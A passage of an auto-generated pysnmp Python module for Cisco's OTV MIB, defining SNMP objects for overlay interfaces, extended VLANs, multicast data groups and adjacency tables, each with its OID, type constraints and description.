if mibBuilder.loadTexts: cotvSiteIdAdmin.setDescription('This object specifies OTV site identifier for this device. The OTV site identifier could be either a four octets value or a six octets valid MAC address. If the OTV site identifier is not configured, this object will have four zero octets.')
cotvSiteIdOper = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 1, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(6, 6)).setFixedLength(6)).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvSiteIdOper.setStatus('current')
if mibBuilder.loadTexts: cotvSiteIdOper.setDescription('This object indicates OTV site identifier in use for this device. There is no operational OTV site identifier if the value of this object contains all zeros.')
cotvSiteVlan = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 1, 1, 3), VlanIndex()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: cotvSiteVlan.setStatus('current')
if mibBuilder.loadTexts: cotvSiteVlan.setDescription('This object specifies the OTV site VLAN for this device.')
cotvSiteVlanState = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("up", 1), ("down", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvSiteVlanState.setStatus('current')
if mibBuilder.loadTexts: cotvSiteVlanState.setDescription("This object indicates the state of OTV site VLAN. 'up' - OTV site VLAN is up 'down' - OTV site VLAN is down")
cotvOverlayTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1), )
if mibBuilder.loadTexts: cotvOverlayTable.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayTable.setDescription('A list of Overlay interfaces configured on this device.')
cotvOverlayEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvOverlayNumber"))
if mibBuilder.loadTexts: cotvOverlayEntry.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayEntry.setDescription('An entry containing management information for a particular Overlay interface.')
cotvOverlayNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 1), Unsigned32())
if mibBuilder.loadTexts: cotvOverlayNumber.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayNumber.setDescription('A unique number to identify an Overlay interface.')
cotvOverlayVpnName = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 2), SnmpAdminString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvOverlayVpnName.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayVpnName.setDescription('This object indicates the name of the Virtual Private Network associated with this Overlay interface.')
cotvOverlayVpnState = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("other", 0), ("down", 1), ("up", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvOverlayVpnState.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayVpnState.setDescription("This object indicates the state of Virtual Private Network which is associated with this Overlay interface. 'other' - Any other state not covered by below enumerations. 'up' - The Overlay Virtual Private Network is up 'down' - The Overlay Virtual Private Network is down")
cotvOverlayVpnDownReason = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19))).clone(namedValues=NamedValues(("other", 0), ("configChange", 1), ("missingControlGroup", 2), ("missingDataGroupRange", 3), ("missingJoinOrSourceInterface", 4), ("missingVpnName", 5), ("missingJoinInterfaceAddr", 6), ("joinInterfaceDown", 7), ("adminDown", 8), ("deleteHoldDown", 9), ("reinit", 10), ("missingSiteId", 11), ("siteIdMismatch", 12), ("missingSourceInterfaceAddr", 13), ("sourceInterfaceDown", 14), ("changingSiteId", 15), ("changingControlGroup", 16), ("missingDeviceId", 17), ("changingDeviceId", 18), ("cleanupInProgress", 19)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvOverlayVpnDownReason.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayVpnDownReason.setDescription("This object indicates the reason why this Overlay Virtual Private Network is down. 'other' - Any other reason not covered by below enumerations 'configChange' - Configuration changed 'missingControlGroup' - Control Group information is unavailable 'missingDataGroupRange' - Data Group range information is unavailable 'misssingJoinOrSourceInterface' - Join or Source interface information is unavailable 'missingVpnName' - VPN name is unavailable 'missingJoinInterfaceAddr' - IP address is missing for Join Interface 'joinInterfaceDown' - Join Interface is down 'adminDown' - Overlay is administratively shutdown 'deleteHoldDown' - Overlay is in delete hold down phase 'reinit' - VPN is reinitializing 'missingSiteId' - Site ID information is unavailable 'siteIdMismatch' - Site ID mismatch has occurred 'missingSourceInterfaceAddr' - IP address is missing for Source Interface 'sourceInterfaceDown' - Source interface is down 'changingSiteId' - Changing site identifier 'changingControlGroup' - Changing control group 'missingDeviceId' - Device ID information is unavailable 'changingDeviceId' - Changing device ID 'cleanupInProgress' - Cleanup in progress")
cotvOverlayVlansExtendedFirst2k = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 5), Cisco2KVlanList()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayVlansExtendedFirst2k.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayVlansExtendedFirst2k.setDescription('This object specifies the list of VLANs extended on this Overlay interface. It is a string of octets containing one bit per VLAN with VlanIndex values of 0 through 2047. If the bit corresponding to a VLAN is set to 1, it indicates that VLAN is being extended on this Overlay interface. If the bit corresponding to a VLAN is set to 0, it indicates that VLAN is not being extended on this Overlay interface.')
cotvOverlayVlansExtendedSecond2k = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 6), Cisco2KVlanList()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayVlansExtendedSecond2k.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayVlansExtendedSecond2k.setDescription('This object specifies the list of VLANs extended on this Overlay interface. It is a string of octets containing one bit per VLAN with VlanIndex values of 2048 through 4095. If the bit corresponding to a VLAN is set to 1, it indicates that VLAN is being extended on this Overlay interface. If the bit corresponding to a VLAN is set to 0, it indicates that VLAN is not being extended on this Overlay interface.')
cotvOverlayControlGroupAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 7), InetAddressType().clone('unknown')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayControlGroupAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayControlGroupAddrType.setDescription('This object specifies the type of Internet address of Control Group.')
cotvOverlayControlGroupAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 8), InetAddress()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayControlGroupAddr.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayControlGroupAddr.setDescription('This object specifies the Internet address of Control Group. The type of this address is determined by cotvOverlayControlGroupAddrType.')
cotvOverlayBroadcastGroupAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 9), InetAddressType().clone('unknown')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayBroadcastGroupAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayBroadcastGroupAddrType.setDescription('This object specifies the type of Internet address to be used as Broadcast Group Address.')
cotvOverlayBroadcastGroupAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 10), InetAddress()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayBroadcastGroupAddr.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayBroadcastGroupAddr.setDescription('This object specifies the Internet address to be used as Broadcast Group Address. The type of this address is determined by cotvOverlayBroadcastGroupAddrType.')
cotvOverlayJoinInterface = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 11), InterfaceIndexOrZero()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayJoinInterface.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayJoinInterface.setDescription('This object specifies the OTV Join Interface for this Overlay interface.')
cotvOverlaySourceInterface = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 12), InterfaceIndexOrZero()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlaySourceInterface.setStatus('current')
if mibBuilder.loadTexts: cotvOverlaySourceInterface.setDescription('This object specifies the Source Interface for this Overlay interface.')
cotvOverlayAedCapable = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 13), TruthValue()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvOverlayAedCapable.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayAedCapable.setDescription("This object indicates AED (Authoritative Edge Device) capability on this Overlay interface. A value of 'true' indicates that the edge device has capability to act as an AED on this Overlay interface. A value of 'false' indicates that the edge device does not have the capability to act as an AED on this Overlay interface.")
cotvOverlayAedIncapableReason = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 14), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10))).clone(namedValues=NamedValues(("other", 0), ("overlayDown", 1), ("siteIdNotConfigured", 2), ("siteIdMismatch", 3), ("versionMismatch", 4), ("siteVlanDown", 5), ("noExtendedVlanUp", 6), ("noOverlayAdjacencyUp", 7), ("lspdbSyncIncomplete", 8), ("overlayDownInProgress", 9), ("isisControlGroupSyncPending", 10)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvOverlayAedIncapableReason.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayAedIncapableReason.setDescription("This object indicates the reason why the overlay is AED-incapable. 'other' - Any other reason not covered by below enumerations 'overlayDown' - Overlay is Down 'siteIdNotConfigured' - Site ID is not configured 'siteIdMismatch' - Site ID mismatch 'versionMismatch' - Version mismatch 'siteVlanDown' - Site VLAN is Down 'noExtendedVlanUp' - No extended VLAN is operationally up 'noOverlayAdjacencyUp' - No Overlay Adjacency is up 'lspdbSyncIncomplete' - LSPDB sync incomplete 'overlayDownInProgress' - Overlay state down event in progress 'isisControlGroupSyncPending' - ISIS control group sync pending")
cotvOverlayAdjServerTransportType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 15), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("multicastAndUnicast", 1), ("unicastOnly", 2))).clone('multicastAndUnicast')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayAdjServerTransportType.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayAdjServerTransportType.setDescription("The type of transport OTV control plane can use to exchange Adjacency Server information. 'multicastAndUnicast' - OTV control plane can use both multicast and unicast to exchange Adjacency Server information 'unicastOnly' - OTV control plane can use only unicast to exchange Adjacency Server information. Value of this object can be set to 'unicastOnly' only if the value of cotvOverlayPrimaryAdjServerAddrType is 'unknown'.")
cotvOverlayAdjServerEnable = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 16), TruthValue().clone('false')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayAdjServerEnable.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayAdjServerEnable.setDescription("This object specifies Adjacency Server functionality for this Overlay interface. Setting the object to 'true' enables Adjacency Server functionality. Setting the object to 'false' disables Adjacency Server functionality.")
cotvOverlayPrimaryAdjServerAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 17), InetAddressType().clone('unknown')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayPrimaryAdjServerAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayPrimaryAdjServerAddrType.setDescription('This object specifies the type of Internet address of the Primary Adjacency Server for this Overlay interface.')
cotvOverlayPrimaryAdjServerAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 18), InetAddress()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayPrimaryAdjServerAddr.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayPrimaryAdjServerAddr.setDescription('This object specifies the Internet address of the Primary Adjacency Server for this Overlay interface. The type of this address is determined by the value of cotvOverlayPrimaryAdjServerAddrType.')
cotvOverlaySecondaryAdjServerAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 19), InetAddressType().clone('unknown')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlaySecondaryAdjServerAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvOverlaySecondaryAdjServerAddrType.setDescription('This object specifies the type of Internet address of the Secondary Adjacency Server for this Overlay interface.')
cotvOverlaySecondaryAdjServerAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 20), InetAddress()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlaySecondaryAdjServerAddr.setStatus('current')
if mibBuilder.loadTexts: cotvOverlaySecondaryAdjServerAddr.setDescription('This object specifies the Internet address of the Secondary Adjacency Server for this Overlay interface. The type of this address is determined by cotvOverlaySecondaryAdjServerAddrType.')
cotvOverlaySuppressArpND = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 21), TruthValue().clone('false')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlaySuppressArpND.setStatus('current')
if mibBuilder.loadTexts: cotvOverlaySuppressArpND.setDescription("This object specifies ARP Neighbor Discovery behavior on this Overlay interface. Setting the object to 'true' enables suppression of ARP Neighbor Discovery on this Overlay interface. Setting the object to 'false' disables suppression of ARP Neighbor Discovery on this Overlay interface.")
cotvOverlayStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 22), StorageType().clone('volatile')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayStorageType.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayStorageType.setDescription('This object specifies the storage type for this conceptual row.')
cotvOverlayRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 1, 1, 23), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvOverlayRowStatus.setStatus('current')
if mibBuilder.loadTexts: cotvOverlayRowStatus.setDescription('This object specifies the status of this conceptual row.')
cotvVlansTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 2), )
if mibBuilder.loadTexts: cotvVlansTable.setStatus('current')
if mibBuilder.loadTexts: cotvVlansTable.setDescription('A list of VLANs extended on Overlay interfaces.')
cotvVlansEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 2, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvOverlayNumber"), (0, "CISCO-OTV-MIB", "cotvVlanId"))
if mibBuilder.loadTexts: cotvVlansEntry.setStatus('current')
if mibBuilder.loadTexts: cotvVlansEntry.setDescription('An entry containing management information for a particular VLAN extended on an Overlay interface.')
cotvVlanId = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 2, 1, 1), VlanIndex())
if mibBuilder.loadTexts: cotvVlanId.setStatus('current')
if mibBuilder.loadTexts: cotvVlanId.setDescription('This object indicates the VLAN ID of the extended VLAN.')
cotvVlanState = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("active", 1), ("inactive", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvVlanState.setStatus('current')
if mibBuilder.loadTexts: cotvVlanState.setDescription("This object indicates the state of the extended VLAN. 'active' - OTV is ready to forward traffic for this VLAN 'inactive' - OTV can not forward traffic for this VLAN")
cotvVlanInactiveReason = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("other", 1), ("nonAed", 2), ("vlanDisabled", 3), ("overlayDown", 4), ("deleteHoldDown", 5), ("hwDown", 6)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvVlanInactiveReason.setStatus('current')
if mibBuilder.loadTexts: cotvVlanInactiveReason.setDescription("This object indicates the reason the VLAN is in 'inactive' state. 'other' - Any other reason not covered by the below enumerations 'nonAed' - Device is not an AED on this VLAN 'vlanDisabled' - Vlan is in disabled state 'overlayDown' - Overlay is currently down 'deleteHoldDown' - The VLAN is in delete hold-down state 'hwDown' - An issue with hardware is preventing VLAN from becoming 'active' Value of this object should be ignored if the value of cotvVlanInactiveReason is not 'inactive'.")
cotvVlanAedAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 2, 1, 4), InetAddressType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvVlanAedAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvVlanAedAddrType.setDescription('This object indicates the type of Internet address of Authoritative Edge Device (AED) on this VLAN.')
cotvVlanAedAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 2, 1, 5), InetAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvVlanAedAddr.setStatus('current')
if mibBuilder.loadTexts: cotvVlanAedAddr.setDescription('This object indicates the Internet address of Authoritative Edge Device (AED) on this VLAN. The type of this address is determined by the value of cotvVlanAedAddrType.')
cotvVlanEdgeDevIsAed = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 2, 1, 6), TruthValue()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvVlanEdgeDevIsAed.setStatus('current')
if mibBuilder.loadTexts: cotvVlanEdgeDevIsAed.setDescription("This object indicates if this device is acting as an AED for the VLAN. A value of 'true' indicates that this device is acting as an AED for the VLAN. A value of 'false' indicates that this device is not acting as an AED for the VLAN.")
cotvDataGroupConfigTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 3), )
if mibBuilder.loadTexts: cotvDataGroupConfigTable.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupConfigTable.setDescription('A list of multicast data-group ranges configured for each Overlay interface.')
cotvDataGroupConfigEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 3, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvOverlayNumber"), (0, "CISCO-OTV-MIB", "cotvDataGroupMcastRangeAddrType"), (0, "CISCO-OTV-MIB", "cotvDataGroupMcastRangeAddr"), (0, "CISCO-OTV-MIB", "cotvDataGroupMcastRangePrefixLength"))
if mibBuilder.loadTexts: cotvDataGroupConfigEntry.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupConfigEntry.setDescription('An entry containing management information for a particular multicast data-group range configured for an Overlay interface.')
cotvDataGroupMcastRangeAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 3, 1, 1), InetAddressType())
if mibBuilder.loadTexts: cotvDataGroupMcastRangeAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupMcastRangeAddrType.setDescription('The type of Internet address of multicast data-group range.')
cotvDataGroupMcastRangeAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 3, 1, 2), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvDataGroupMcastRangeAddr.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupMcastRangeAddr.setDescription('The Internet address of multicast data-group range. The type of this address is determined by the value of the cotvDataGroupMcastRangeAddrType object.')
cotvDataGroupMcastRangePrefixLength = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 3, 1, 3), InetAddressPrefixLength())
if mibBuilder.loadTexts: cotvDataGroupMcastRangePrefixLength.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupMcastRangePrefixLength.setDescription('The length of the prefix associated with cotvDataGroupMcastRangeAddr. The type of this address prefix is determined by the value of the cotvDataGroupMcastRangeAddrType object.')
cotvDataGroupStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 3, 1, 4), StorageType().clone('volatile')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvDataGroupStorageType.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupStorageType.setDescription('This object specifies the storage type for this conceptual row.')
cotvDataGroupRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 3, 1, 5), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: cotvDataGroupRowStatus.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupRowStatus.setDescription('This object specifies the status of this conceptual row.')
cotvDataGroupInfoTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4), )
if mibBuilder.loadTexts: cotvDataGroupInfoTable.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupInfoTable.setDescription('A table listing management information for active multicast sources and multicast groups on each Overlay interface.')
cotvDataGroupInfoEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvOverlayNumber"), (0, "CISCO-OTV-MIB", "cotvDataGroupActiveSrcLocation"), (0, "CISCO-OTV-MIB", "cotvDataGroupVlanId"), (0, "CISCO-OTV-MIB", "cotvDataGroupActiveGroupAddrType"), (0, "CISCO-OTV-MIB", "cotvDataGroupActiveGroupAddr"), (0, "CISCO-OTV-MIB", "cotvDataGroupActiveSrcAddrType"), (0, "CISCO-OTV-MIB", "cotvDataGroupActiveSrcAddr"), (0, "CISCO-OTV-MIB", "cotvDataGroupDeliveryGroupAddrType"), (0, "CISCO-OTV-MIB", "cotvDataGroupDeliveryGroupAddr"), (0, "CISCO-OTV-MIB", "cotvDataGroupDeliverySrcAddrType"), (0, "CISCO-OTV-MIB", "cotvDataGroupDeliverySrcAddr"))
if mibBuilder.loadTexts: cotvDataGroupInfoEntry.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupInfoEntry.setDescription('An entry containing management information for an active multicast data-group.')
cotvDataGroupActiveSrcLocation = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("local", 1), ("remote", 2))))
if mibBuilder.loadTexts: cotvDataGroupActiveSrcLocation.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupActiveSrcLocation.setDescription('The location of Active Multicast source.')
cotvDataGroupVlanId = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 2), VlanIndex())
if mibBuilder.loadTexts: cotvDataGroupVlanId.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupVlanId.setDescription('The VLAN associated with Active Multicast data-group.')
cotvDataGroupActiveGroupAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 3), InetAddressType())
if mibBuilder.loadTexts: cotvDataGroupActiveGroupAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupActiveGroupAddrType.setDescription('The type of Internet address of the active multicast group (multicast group of the active multicast source).')
cotvDataGroupActiveGroupAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 4), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvDataGroupActiveGroupAddr.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupActiveGroupAddr.setDescription('The Internet address of the active multicast group of the (multicast group of the active multicast source). The type of this address is determined by the value of cotvDataGroupActiveGroupAddrType.')
cotvDataGroupActiveSrcAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 5), InetAddressType())
if mibBuilder.loadTexts: cotvDataGroupActiveSrcAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupActiveSrcAddrType.setDescription('The type of Internet address of active multicast source.')
cotvDataGroupActiveSrcAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 6), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvDataGroupActiveSrcAddr.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupActiveSrcAddr.setDescription('The Internet address of active multicast source. The type of this address is determined by the value of cotvDataGroupActiveSrcAddrType.')
cotvDataGroupDeliveryGroupAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 7), InetAddressType())
if mibBuilder.loadTexts: cotvDataGroupDeliveryGroupAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupDeliveryGroupAddrType.setDescription('The type of Internet address of the delivery group that is mapped to active multicast group.')
cotvDataGroupDeliveryGroupAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 8), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvDataGroupDeliveryGroupAddr.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupDeliveryGroupAddr.setDescription('The Internet address of delivery group that is mapped to active multicast group. The type of this address is determined by cotvDataGroupDeliveryGroupAddrType.')
cotvDataGroupDeliverySrcAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 9), InetAddressType())
if mibBuilder.loadTexts: cotvDataGroupDeliverySrcAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupDeliverySrcAddrType.setDescription('The type of Internet address of the delivery source that is mapped to the active multicast source.')
cotvDataGroupDeliverySrcAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 10), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvDataGroupDeliverySrcAddr.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupDeliverySrcAddr.setDescription('The Internet address of the delivery source that is mapped to the active multicast source. The type of this address is determined by the value of cotvDataGroupDeliverySrcAddrType.')
cotvDataGroupJoinInterface = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 11), InterfaceIndexOrZero()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvDataGroupJoinInterface.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupJoinInterface.setDescription('This object indicates the OTV Join interface on which active multicast source is located.')
cotvDataGroupLocalActiveSrcState = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2, 4, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("none", 1), ("local", 2), ("remote", 3), ("orphan", 4)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvDataGroupLocalActiveSrcState.setStatus('current')
if mibBuilder.loadTexts: cotvDataGroupLocalActiveSrcState.setDescription("This object indicates the state of the local Active Multicast source. 'none' - State of the multicast source is not applicable 'local' - multicast source state is local 'remote' - multicast source state is remote 'orphan' - multicast source state is orphan Value of this object should be 'none' if cotvDataGroupActiveSrcLocation is 'remote'.")
cotvAdjacencyDatabaseTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3, 1), )
if mibBuilder.loadTexts: cotvAdjacencyDatabaseTable.setStatus('current')
if mibBuilder.loadTexts: cotvAdjacencyDatabaseTable.setDescription('A table containing OTV adjacency database information.')
cotvAdjacencyDatabaseEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3, 1, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvOverlayNumber"), (0, "CISCO-OTV-MIB", "cotvAdjacentDevAddrType"), (0, "CISCO-OTV-MIB", "cotvAdjacentDevAddr"))
if mibBuilder.loadTexts: cotvAdjacencyDatabaseEntry.setStatus('current')
if mibBuilder.loadTexts: cotvAdjacencyDatabaseEntry.setDescription('An entry containing management information about a particular OTV adjacency.')
cotvAdjacentDevAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3, 1, 1, 1), InetAddressType())
if mibBuilder.loadTexts: cotvAdjacentDevAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvAdjacentDevAddrType.setDescription('The type of Internet address of adjacent edge device.')
